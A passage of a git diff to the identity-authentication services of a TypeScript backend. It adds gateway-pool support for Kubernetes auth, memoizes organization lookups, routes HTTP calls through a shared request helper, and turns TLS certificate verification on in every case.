diff --git a/backend/src/services/identity-gcp-auth/identity-gcp-auth-fns.ts b/backend/src/services/identity-gcp-auth/identity-gcp-auth-fns.ts
index 958a54e0ab5..48641586088 100644
--- a/backend/src/services/identity-gcp-auth/identity-gcp-auth-fns.ts
+++ b/backend/src/services/identity-gcp-auth/identity-gcp-auth-fns.ts
@@ -1,7 +1,7 @@
-import axios from "axios";
 import { OAuth2Client } from "google-auth-library";
 import RE2 from "re2";
 
+import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto";
 import { UnauthorizedError } from "@app/lib/errors";
 
@@ -64,7 +64,7 @@ export const validateIamIdentity = async ({
     data: {
       [key: string]: string;
     };
-  } = await axios.get(`https://www.googleapis.com/service_accounts/v1/metadata/x509/${encodeURIComponent(sub)}`);
+  } = await request.get(`https://www.googleapis.com/service_accounts/v1/metadata/x509/${encodeURIComponent(sub)}`);
 
   const publicKey = data[decodedJwt.header.kid];
 
diff --git a/backend/src/services/identity-gcp-auth/identity-gcp-auth-service.ts b/backend/src/services/identity-gcp-auth/identity-gcp-auth-service.ts
index ea816577972..d30176cbd66 100644
--- a/backend/src/services/identity-gcp-auth/identity-gcp-auth-service.ts
+++ b/backend/src/services/identity-gcp-auth/identity-gcp-auth-service.ts
@@ -20,7 +20,9 @@ import {
   UnauthorizedError
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -75,7 +77,9 @@ export const identityGcpAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -591,7 +595,10 @@ export const identityGcpAuthServiceFactory = ({
         actorAuthMethod,
         actorOrgId
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-jwt-auth/identity-jwt-auth-service.ts b/backend/src/services/identity-jwt-auth/identity-jwt-auth-service.ts
index 7ac6363fee4..69ddbedde7e 100644
--- a/backend/src/services/identity-jwt-auth/identity-jwt-auth-service.ts
+++ b/backend/src/services/identity-jwt-auth/identity-jwt-auth-service.ts
@@ -29,7 +29,9 @@ import {
   UnauthorizedError
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 import { getValueByDot } from "@app/lib/template/dot-access";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
@@ -90,7 +92,9 @@ export const identityJwtAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -126,7 +130,9 @@ export const identityJwtAuthServiceFactory = ({
             cipherTextBlob: identityJwtAuth.encryptedJwksCaCert
           }).toString();
 
-          const requestAgent = new https.Agent({ ca: decryptedJwksCaCert, rejectUnauthorized: !!decryptedJwksCaCert });
+          const requestAgent = decryptedJwksCaCert
+            ? new https.Agent({ ca: decryptedJwksCaCert, rejectUnauthorized: true })
+            : undefined;
           client = new JwksClient({
             jwksUri: identityJwtAuth.jwksUrl,
             requestAgent
@@ -790,7 +796,10 @@ export const identityJwtAuthServiceFactory = ({
         actorOrgId
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-dal.ts b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-dal.ts
index f1ba2e1dff0..ef1149a9096 100644
--- a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-dal.ts
+++ b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-dal.ts
@@ -31,5 +31,27 @@ export const identityKubernetesAuthDALFactory = (db: TDbClient) => {
     return parseInt(String(result?.count || "0"), 10);
   };
 
-  return { ...kubernetesAuthOrm, findByGatewayId, countByGatewayId };
+  const findByGatewayPoolId = async (gatewayPoolId: string, tx?: Knex) => {
+    const docs = await (tx || db.replicaNode())(TableName.IdentityKubernetesAuth)
+      .leftJoin(TableName.Identity, `${TableName.IdentityKubernetesAuth}.identityId`, `${TableName.Identity}.id`)
+      .where(`${TableName.IdentityKubernetesAuth}.gatewayPoolId`, gatewayPoolId)
+      .select(
+        db.ref("id").withSchema(TableName.IdentityKubernetesAuth),
+        db.ref("identityId").withSchema(TableName.IdentityKubernetesAuth),
+        db.ref("name").withSchema(TableName.Identity).as("identityName")
+      );
+
+    return docs;
+  };
+
+  const countByGatewayPoolId = async (gatewayPoolId: string, tx?: Knex) => {
+    const result = await (tx || db.replicaNode())(TableName.IdentityKubernetesAuth)
+      .where(`${TableName.IdentityKubernetesAuth}.gatewayPoolId`, gatewayPoolId)
+      .count("id")
+      .first();
+
+    return parseInt(String(result?.count || "0"), 10);
+  };
+
+  return { ...kubernetesAuthOrm, findByGatewayId, countByGatewayId, findByGatewayPoolId, countByGatewayPoolId };
 };
diff --git a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-service.ts b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-service.ts
index dac0274e09d..f249a3fafe4 100644
--- a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-service.ts
+++ b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-service.ts
@@ -1,6 +1,6 @@
 import { ForbiddenError, subject } from "@casl/ability";
 import { requestContext } from "@fastify/request-context";
-import axios, { AxiosError, AxiosRequestConfig, AxiosResponse } from "axios";
+import { AxiosError, AxiosRequestConfig, AxiosResponse } from "axios";
 import https from "https";
 import picomatch from "picomatch";
 import RE2 from "re2";
@@ -14,11 +14,14 @@ import {
 } from "@app/db/schemas";
 import { TGatewayDALFactory } from "@app/ee/services/gateway/gateway-dal";
 import { TGatewayServiceFactory } from "@app/ee/services/gateway/gateway-service";
+import { TGatewayPoolDALFactory } from "@app/ee/services/gateway-pool/gateway-pool-dal";
+import { TGatewayPoolServiceFactory } from "@app/ee/services/gateway-pool/gateway-pool-service";
 import { TGatewayV2DALFactory } from "@app/ee/services/gateway-v2/gateway-v2-dal";
 import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
 import { TLicenseServiceFactory } from "@app/ee/services/license/license-service";
 import {
   OrgPermissionGatewayActions,
+  OrgPermissionGatewayPoolActions,
   OrgPermissionIdentityActions,
   OrgPermissionSubjects
 } from "@app/ee/services/permission/org-permission";
@@ -42,7 +45,9 @@ import { GatewayHttpProxyActions, GatewayProxyProtocol, withGatewayProxy } from
 import { withGatewayV2Proxy } from "@app/lib/gateway-v2/gateway-v2";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -87,6 +92,11 @@ type TIdentityKubernetesAuthServiceFactoryDep = {
   gatewayV2Service: TGatewayV2ServiceFactory;
   gatewayDAL: Pick<TGatewayDALFactory, "find">;
   gatewayV2DAL: Pick<TGatewayV2DALFactory, "find">;
+  gatewayPoolService: Pick<
+    TGatewayPoolServiceFactory,
+    "getPlatformConnectionDetailsByPoolId" | "pickRandomHealthyGateway"
+  >;
+  gatewayPoolDAL: Pick<TGatewayPoolDALFactory, "findById">;
   orgDAL: Pick<TOrgDALFactory, "findById" | "findOne" | "findEffectiveOrgMembership">;
 };
 
@@ -106,11 +116,14 @@ export const identityKubernetesAuthServiceFactory = ({
   gatewayDAL,
   gatewayV2DAL,
   kmsService,
+  gatewayPoolService,
+  gatewayPoolDAL,
   orgDAL
 }: TIdentityKubernetesAuthServiceFactoryDep) => {
   const $gatewayProxyWrapper = async <T>(
     inputs: {
-      gatewayId: string;
+      gatewayId?: string;
+      gatewayPoolId?: string;
       targetHost?: string;
       targetPort?: number;
       caCert?: string;
@@ -118,18 +131,25 @@ export const identityKubernetesAuthServiceFactory = ({
     },
     gatewayCallback: (host: string, port: number, httpsAgent?: https.Agent) => Promise<T>
   ): Promise<T> => {
-    const gatewayV2ConnectionDetails = await gatewayV2Service.getPlatformConnectionDetailsByGatewayId({
-      gatewayId: inputs.gatewayId,
-      targetHost: inputs.targetHost ?? GATEWAY_AUTH_DEFAULT_HOST,
-      targetPort: inputs.targetPort ?? 443
-    });
+    const gatewayV2ConnectionDetails = inputs.gatewayPoolId
+      ? await gatewayPoolService.getPlatformConnectionDetailsByPoolId({
+          poolId: inputs.gatewayPoolId,
+          targetHost: inputs.targetHost ?? GATEWAY_AUTH_DEFAULT_HOST,
+          targetPort: inputs.targetPort ?? 443
+        })
+      : await gatewayV2Service.getPlatformConnectionDetailsByGatewayId({
+          gatewayId: inputs.gatewayId!,
+          targetHost: inputs.targetHost ?? GATEWAY_AUTH_DEFAULT_HOST,
+          targetPort: inputs.targetPort ?? 443
+        });
 
     if (gatewayV2ConnectionDetails) {
       let httpsAgent: https.Agent | undefined;
       if (!inputs.reviewTokenThroughGateway) {
         httpsAgent = new https.Agent({
-          ca: inputs.caCert,
-          rejectUnauthorized: Boolean(inputs.caCert)
+          ca: inputs.caCert || undefined,
+          rejectUnauthorized: true,
+          servername: inputs.targetHost
         });
       }
 
@@ -154,7 +174,7 @@ export const identityKubernetesAuthServiceFactory = ({
       return callbackResult;
     }
 
-    const relayDetails = await gatewayService.fnGetGatewayClientTlsByGatewayId(inputs.gatewayId);
+    const relayDetails = await gatewayService.fnGetGatewayClientTlsByGatewayId(inputs.gatewayId!);
 
     const callbackResult = await withGatewayProxy(
       async (port, httpsAgent) => {
@@ -174,8 +194,9 @@ export const identityKubernetesAuthServiceFactory = ({
         ...(!inputs.reviewTokenThroughGateway
           ? {
               httpsAgent: new https.Agent({
-                ca: inputs.caCert,
-                rejectUnauthorized: Boolean(inputs.caCert)
+                ca: inputs.caCert || undefined,
+                rejectUnauthorized: true,
+                servername: inputs.targetHost
               })
             }
           : {})
@@ -264,7 +285,9 @@ export const identityKubernetesAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -313,7 +336,7 @@ export const identityKubernetesAuthServiceFactory = ({
 
         const baseUrl = port ? `${host}:${port}` : host;
 
-        const res = await axios
+        const res = await request
           .post<TCreateTokenReviewResponse>(
             `${baseUrl}/apis/authentication.k8s.io/v1/tokenreviews`,
             {
@@ -334,8 +357,8 @@ export const identityKubernetesAuthServiceFactory = ({
               signal: AbortSignal.timeout(10000),
               timeout: 10000,
               httpsAgent: new https.Agent({
-                ca: caCert,
-                rejectUnauthorized: Boolean(caCert),
+                ca: caCert || undefined,
+                rejectUnauthorized: true,
                 servername
               })
             }
@@ -388,7 +411,7 @@ export const identityKubernetesAuthServiceFactory = ({
           "tokenReviewCallbackThroughGateway: Processing kubernetes token review using gateway"
         );
 
-        const res = await axios
+        const res = await request
           .post<TCreateTokenReviewResponse>(
             `${host}:${port}/apis/authentication.k8s.io/v1/tokenreviews`,
             {
@@ -437,15 +460,22 @@ export const identityKubernetesAuthServiceFactory = ({
       let data: TCreateTokenReviewResponse | undefined;
 
       if (identityKubernetesAuth.tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway) {
-        if (!identityKubernetesAuth.gatewayId && !identityKubernetesAuth.gatewayV2Id) {
+        if (
+          !identityKubernetesAuth.gatewayId &&
+          !identityKubernetesAuth.gatewayV2Id &&
+          !identityKubernetesAuth.gatewayPoolId
+        ) {
           throw new BadRequestError({
-            message: "Gateway ID is required when token review mode is set to Gateway"
+            message: "Gateway or Gateway Pool is required when token review mode is set to Gateway"
           });
         }
 
         data = await $gatewayProxyWrapper(
           {
-            gatewayId: (identityKubernetesAuth.gatewayV2Id ?? identityKubernetesAuth.gatewayId) as string,
+            gatewayId: identityKubernetesAuth.gatewayPoolId
+              ? undefined
+              : ((identityKubernetesAuth.gatewayV2Id ?? identityKubernetesAuth.gatewayId) as string),
+            gatewayPoolId: identityKubernetesAuth.gatewayPoolId ?? undefined,
             reviewTokenThroughGateway: true
           },
           tokenReviewCallbackThroughGateway
@@ -464,18 +494,25 @@ export const identityKubernetesAuthServiceFactory = ({
 
         const [k8sHost, k8sPort] = kubernetesHost.split(":");
 
-        data =
-          identityKubernetesAuth.gatewayId || identityKubernetesAuth.gatewayV2Id
-            ? await $gatewayProxyWrapper(
-                {
-                  gatewayId: (identityKubernetesAuth.gatewayV2Id ?? identityKubernetesAuth.gatewayId) as string,
-                  targetHost: k8sHost,
-                  targetPort: k8sPort ? Number(k8sPort) : 443,
-                  reviewTokenThroughGateway: false
-                },
-                tokenReviewCallbackRaw
-              )
-            : await tokenReviewCallbackRaw();
+        const hasGateway =
+          identityKubernetesAuth.gatewayId ||
+          identityKubernetesAuth.gatewayV2Id ||
+          identityKubernetesAuth.gatewayPoolId;
+
+        data = hasGateway
+          ? await $gatewayProxyWrapper(
+              {
+                gatewayId: identityKubernetesAuth.gatewayPoolId
+                  ? undefined
+                  : ((identityKubernetesAuth.gatewayV2Id ?? identityKubernetesAuth.gatewayId) as string),
+                gatewayPoolId: identityKubernetesAuth.gatewayPoolId ?? undefined,
+                targetHost: k8sHost,
+                targetPort: k8sPort ? Number(k8sPort) : 443,
+                reviewTokenThroughGateway: false
+              },
+              tokenReviewCallbackRaw
+            )
+          : await tokenReviewCallbackRaw();
       } else {
         throw new BadRequestError({
           message: `Invalid token review mode: ${identityKubernetesAuth.tokenReviewMode}`
@@ -705,6 +742,7 @@ export const identityKubernetesAuthServiceFactory = ({
   const attachKubernetesAuth = async ({
     identityId,
     gatewayId,
+    gatewayPoolId,
     kubernetesHost,
     caCert,
     tokenReviewerJwt,
@@ -843,6 +881,47 @@ export const identityKubernetesAuthServiceFactory = ({
           await validateTokenReviewerPermissions({ gatewayExecutor, tokenReviewerJwt });
         }
       }
+    } else if (gatewayPoolId) {
+      if (!plan.gatewayPool) {
+        throw new BadRequestError({
+          message: "Your current plan does not support gateway pools. Please upgrade to an Enterprise plan."
+        });
+      }
+
+      const { permission: orgPermission } = await permissionService.getOrgPermission({
+        scope: OrganizationActionScope.Any,
+        actor,
+        actorId,
+        orgId: identityMembershipOrg.scopeOrgId,
+        actorAuthMethod,
+        actorOrgId
+      });
+      ForbiddenError.from(orgPermission).throwUnlessCan(
+        OrgPermissionGatewayPoolActions.AttachGatewayPools,
+        OrgPermissionSubjects.GatewayPool
+      );
+
+      const pool = await gatewayPoolDAL.findById(gatewayPoolId);
+      if (!pool || pool.orgId !== identityMembershipOrg.scopeOrgId) {
+        throw new NotFoundError({ message: `Gateway pool with ID ${gatewayPoolId} not found` });
+      }
+
+      // Validate connectivity through a random healthy pool member
+      const validationGateway = await gatewayPoolService.pickRandomHealthyGateway(gatewayPoolId);
+      if (tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway) {
+        const gatewayExecutor = $createGatewayValidationRequest(validationGateway.id);
+        await validateKubernetesHostConnectivity({ gatewayExecutor });
+        await validateTokenReviewerPermissions({ gatewayExecutor });
+      } else if (tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Api && kubernetesHost) {
+        const gatewayExecutor = $createGatewayValidationRequest(validationGateway.id, {
+          kubernetesHost,
+          caCert: caCert || undefined
+        });
+        await validateKubernetesHostConnectivity({ gatewayExecutor });
+        if (tokenReviewerJwt) {
+          await validateTokenReviewerPermissions({ gatewayExecutor, tokenReviewerJwt });
+        }
+      }
     } else if (tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Api && kubernetesHost) {
       logger.info({ kubernetesHost }, "Validating Kubernetes host connectivity for new auth method");
       await validateKubernetesHostConnectivity({
@@ -865,6 +944,16 @@ export const identityKubernetesAuthServiceFactory = ({
       orgId: identityMembershipOrg.scopeOrgId
     });
 
+    let resolvedGatewayId: string | null | undefined = null;
+    let resolvedGatewayV2Id: string | null | undefined = null;
+    if (!gatewayPoolId && gatewayId) {
+      if (isGatewayV1) {
+        resolvedGatewayId = gatewayId;
+      } else {
+        resolvedGatewayV2Id = gatewayId;
+      }
+    }
+
     const identityKubernetesAuth = await identityKubernetesAuthDAL.transaction(async (tx) => {
       const doc = await identityKubernetesAuthDAL.create(
         {
@@ -877,8 +966,9 @@ export const identityKubernetesAuthServiceFactory = ({
           accessTokenMaxTTL,
           accessTokenTTL,
           accessTokenNumUsesLimit,
-          gatewayId: isGatewayV1 ? gatewayId : null,
-          gatewayV2Id: isGatewayV1 ? null : gatewayId,
+          gatewayId: resolvedGatewayId,
+          gatewayV2Id: resolvedGatewayV2Id,
+          gatewayPoolId: gatewayPoolId ?? null,
           accessTokenTrustedIps: JSON.stringify(reformattedAccessTokenTrustedIps),
           encryptedKubernetesTokenReviewerJwt: tokenReviewerJwt
             ? encryptor({ plainText: Buffer.from(tokenReviewerJwt) }).cipherTextBlob
@@ -903,6 +993,7 @@ export const identityKubernetesAuthServiceFactory = ({
     allowedNames,
     allowedAudience,
     gatewayId,
+    gatewayPoolId,
     accessTokenTTL,
     accessTokenMaxTTL,
     accessTokenNumUsesLimit,
@@ -1019,16 +1110,64 @@ export const identityKubernetesAuthServiceFactory = ({
       );
     }
 
+    // Handle gateway pool permission check
+    if (gatewayPoolId) {
+      if (!plan.gatewayPool) {
+        throw new BadRequestError({
+          message: "Your current plan does not support gateway pools. Please upgrade to an Enterprise plan."
+        });
+      }
+      const { permission: orgPermission } = await permissionService.getOrgPermission({
+        scope: OrganizationActionScope.Any,
+        actor,
+        actorId,
+        orgId: identityMembershipOrg.scopeOrgId,
+        actorAuthMethod,
+        actorOrgId
+      });
+      ForbiddenError.from(orgPermission).throwUnlessCan(
+        OrgPermissionGatewayPoolActions.AttachGatewayPools,
+        OrgPermissionSubjects.GatewayPool
+      );
+
+      const pool = await gatewayPoolDAL.findById(gatewayPoolId);
+      if (!pool || pool.orgId !== identityMembershipOrg.scopeOrgId) {
+        throw new NotFoundError({ message: `Gateway pool with ID ${gatewayPoolId} not found` });
+      }
+    }
+
     // Strict check to see if gateway ID is undefined. It should update the gateway ID to null if its strictly set to null.
-    const shouldUpdateGatewayId = Boolean(gatewayId !== undefined);
-    const gatewayIdValue = isGatewayV1 ? gatewayId : null;
-    const gatewayV2IdValue = isGatewayV1 ? null : gatewayId;
+    const shouldUpdateGatewayId = Boolean(gatewayId !== undefined || gatewayPoolId !== undefined);
+    let gatewayIdValue: string | null | undefined = null;
+    let gatewayV2IdValue: string | null | undefined = null;
+    if (!gatewayPoolId && gatewayId) {
+      if (isGatewayV1) {
+        gatewayIdValue = gatewayId;
+      } else {
+        gatewayV2IdValue = gatewayId;
+      }
+    }
+    let gatewayPoolIdValue: string | null | undefined;
+    if (gatewayPoolId !== undefined) {
+      gatewayPoolIdValue = gatewayPoolId;
+    } else if (gatewayId !== undefined) {
+      gatewayPoolIdValue = null;
+    } else {
+      gatewayPoolIdValue = undefined;
+    }
 
     const effectiveTokenReviewMode = tokenReviewMode ?? identityKubernetesAuth.tokenReviewMode;
     const effectiveKubernetesHost =
       kubernetesHost !== undefined ? kubernetesHost : identityKubernetesAuth.kubernetesHost;
-    const effectiveGatewayId =
-      gatewayId !== undefined ? gatewayId : (identityKubernetesAuth.gatewayV2Id ?? identityKubernetesAuth.gatewayId);
+    const effectiveGatewayPoolId = gatewayPoolId !== undefined ? gatewayPoolId : identityKubernetesAuth.gatewayPoolId;
+    let effectiveGatewayId: string | null | undefined = null;
+    if (effectiveGatewayPoolId) {
+      effectiveGatewayId = null;
+    } else if (gatewayId !== undefined) {
+      effectiveGatewayId = gatewayId;
+    } else {
+      effectiveGatewayId = identityKubernetesAuth.gatewayV2Id ?? identityKubernetesAuth.gatewayId;
+    }
 
     const { encryptor, decryptor } = await kmsService.createCipherPairWithDataKey({
       type: KmsDataKey.Organization,
@@ -1046,23 +1185,33 @@ export const identityKubernetesAuthServiceFactory = ({
       effectiveCaCert = undefined;
     }
 
-    if (effectiveGatewayId) {
+    let validationGatewayId: string | null = effectiveGatewayId ?? null;
+    if (!validationGatewayId && effectiveGatewayPoolId) {
+      const picked = await gatewayPoolService.pickRandomHealthyGateway(effectiveGatewayPoolId);
+      validationGatewayId = picked.id;
+    }
+
+    if (validationGatewayId) {
       if (effectiveTokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway) {
-        const gatewayExecutor = $createGatewayValidationRequest(effectiveGatewayId);
+        const gatewayExecutor = $createGatewayValidationRequest(validationGatewayId);
         logger.info(
-          { gatewayId: effectiveGatewayId },
+          { gatewayId: validationGatewayId, gatewayPoolId: effectiveGatewayPoolId },
           "Validating gateway connectivity to Kubernetes for auth method update"
         );
 
         await validateKubernetesHostConnectivity({ gatewayExecutor });
         await validateTokenReviewerPermissions({ gatewayExecutor });
       } else if (effectiveTokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Api && effectiveKubernetesHost) {
-        const gatewayExecutor = $createGatewayValidationRequest(effectiveGatewayId, {
+        const gatewayExecutor = $createGatewayValidationRequest(validationGatewayId, {
           kubernetesHost: effectiveKubernetesHost,
           caCert: effectiveCaCert
         });
         logger.info(
-          { gatewayId: effectiveGatewayId, kubernetesHost: effectiveKubernetesHost },
+          {
+            gatewayId: validationGatewayId,
+            gatewayPoolId: effectiveGatewayPoolId,
+            kubernetesHost: effectiveKubernetesHost
+          },
           "Validating Kubernetes connectivity through gateway for auth method update"
         );
 
@@ -1101,6 +1250,7 @@ export const identityKubernetesAuthServiceFactory = ({
       allowedAudience,
       gatewayId: shouldUpdateGatewayId ? gatewayIdValue : undefined,
       gatewayV2Id: shouldUpdateGatewayId ? gatewayV2IdValue : undefined,
+      gatewayPoolId: gatewayPoolIdValue,
       accessTokenMaxTTL,
       accessTokenTTL,
       accessTokenNumUsesLimit,
@@ -1281,7 +1431,10 @@ export const identityKubernetesAuthServiceFactory = ({
         actorOrgId,
         scope: OrganizationActionScope.Any
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-types.ts b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-types.ts
index 8f06bfd5d33..a64018f6b90 100644
--- a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-types.ts
+++ b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-types.ts
@@ -21,6 +21,7 @@ export type TAttachKubernetesAuthDTO = {
   allowedNames: string;
   allowedAudience: string;
   gatewayId?: string | null;
+  gatewayPoolId?: string | null;
   accessTokenTTL: number;
   accessTokenMaxTTL: number;
   accessTokenNumUsesLimit: number;
@@ -38,6 +39,7 @@ export type TUpdateKubernetesAuthDTO = {
   allowedNames?: string;
   allowedAudience?: string;
   gatewayId?: string | null;
+  gatewayPoolId?: string | null;
   accessTokenTTL?: number;
   accessTokenMaxTTL?: number;
   accessTokenNumUsesLimit?: number;
diff --git a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-validators.ts b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-validators.ts
index 902c5b1b3b6..271fcd4902e 100644
--- a/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-validators.ts
+++ b/backend/src/services/identity-kubernetes-auth/identity-kubernetes-auth-validators.ts
@@ -53,7 +53,7 @@ export const validateKubernetesHostConnectivity = async ({
 
       const httpsAgent = new https.Agent({
         ca: caCert || undefined,
-        rejectUnauthorized: Boolean(caCert)
+        rejectUnauthorized: true
       });
 
       await blockLocalAndPrivateIpAddresses(kubernetesHost);
@@ -156,7 +156,7 @@ export const validateTokenReviewerPermissions = async ({
 
       const httpsAgent = new https.Agent({
         ca: caCert || undefined,
-        rejectUnauthorized: Boolean(caCert)
+        rejectUnauthorized: true
       });
 
       await blockLocalAndPrivateIpAddresses(kubernetesHost);
diff --git a/backend/src/services/identity-ldap-auth/identity-ldap-auth-service.ts b/backend/src/services/identity-ldap-auth/identity-ldap-auth-service.ts
index 736591c21cc..d5abaaa1331 100644
--- a/backend/src/services/identity-ldap-auth/identity-ldap-auth-service.ts
+++ b/backend/src/services/identity-ldap-auth/identity-ldap-auth-service.ts
@@ -31,7 +31,9 @@ import {
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 
@@ -171,7 +173,9 @@ export const identityLdapAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -831,7 +835,10 @@ export const identityLdapAuthServiceFactory = ({
         scope: OrganizationActionScope.Any
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
@@ -870,16 +877,24 @@ export const identityLdapAuthServiceFactory = ({
     const identity = await identityDAL.findById(identityId);
     const orgId = identity?.orgId ?? null;
 
-    const LOCKOUT_KEY = `lockout:identity:${identityId}:${IdentityAuthMethod.LDAP_AUTH}:${usernameSlug}`;
+    const lockoutKey = KeyStorePrefixes.IdentityLockoutState(identityId, IdentityAuthMethod.LDAP_AUTH, usernameSlug);
 
-    const lockoutRaw = await keyStore.getItem(LOCKOUT_KEY);
+    const lockoutRaw = await keyStore.getItem(lockoutKey);
 
     let lockout: LockoutObject | undefined;
     if (lockoutRaw) {
       lockout = JSON.parse(lockoutRaw) as LockoutObject;
     }
 
-    if (lockout && lockout?.lockedOut) {
+    const identityLdapAuth = await identityLdapAuthDAL.findOne({ identityId });
+    if (!identityLdapAuth) {
+      throw new UnauthorizedError({
+        message: "Invalid credentials",
+        detail: { reasonCode: "ldap_auth_not_found", identityId, orgId, identityName: identity?.name }
+      });
+    }
+
+    if (lockout && lockout?.lockedOut && identityLdapAuth.lockoutEnabled) {
       throw new UnauthorizedError({
         message: "This identity auth method is temporarily locked, please try again later",
         detail: { reasonCode: "temporarily_locked", identityId, orgId, identityName: identity?.name }
@@ -891,32 +906,24 @@ export const identityLdapAuthServiceFactory = ({
 
       // If auth succeeds, clear any existing lockout
       if (lockout) {
-        await keyStore.deleteItem(LOCKOUT_KEY);
